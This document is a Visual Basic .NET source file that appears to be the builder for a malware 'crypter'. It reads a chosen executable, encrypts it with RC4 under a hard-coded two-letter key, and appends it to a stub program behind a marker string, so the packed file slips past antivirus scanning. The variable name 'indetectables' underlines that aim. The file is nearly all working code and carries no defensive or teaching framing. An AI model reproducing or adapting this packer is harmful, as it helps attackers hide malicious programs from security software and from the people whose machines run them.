Imports System.Text
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim password As String = "indetectables"
        TextBox1.Text = "C:\Users\Administrador\Desktop\a.exe"
        Dim filein, filename, stub As String
        filename = "C:\Users\Administrador\Desktop\asd.exe"
        FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        filein = Space(LOF(1))
        FileGet(1, filein)
        FileClose(1)
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & "atomarvientos" & rc4(filein))
        FileClose(1)
        Me.Close()
  End Sub
 

      Public Function rc4(ByVal message As String) As String
        Dim password As String = "yo"
        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim cipher As New StringBuilder
        Dim returnCipher As String = String.Empty
        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}
       Dim a As Integer = 0
        While a <= 255
            Dim ctmp As Char = (password.Substring((a Mod 2), 1).ToCharArray()(0)) 'ES UN 2 PORQUE LA PASSWORD ES DE 2 CARACTERES(YO)
            key(a) = Asc(ctmp)
            sbox(a) = a
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        Dim x As Integer = 0
        Dim b As Integer = 0
        While b <= 255
            x = (x + sbox(b) + key(b)) Mod 256
            Dim tempSwap As Integer = sbox(b)
            sbox(b) = sbox(x)
            sbox(x) = tempSwap
            System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
        End While
        a = 1
        While a <= message.Length
            Dim itmp As Integer = 0
            i = (i + 1) Mod 256
            j = (j + sbox(i)) Mod 256
            itmp = sbox(i)
            sbox(i) = sbox(j)
            sbox(j) = itmp
            Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
            Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
            itmp = Asc(ctmp)
            Dim cipherby As Integer = itmp Xor k
            cipher.Append(Chr(cipherby))
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        returnCipher = cipher.ToString
        cipher.Length = 0
        Return returnCipher

    End Function

End Class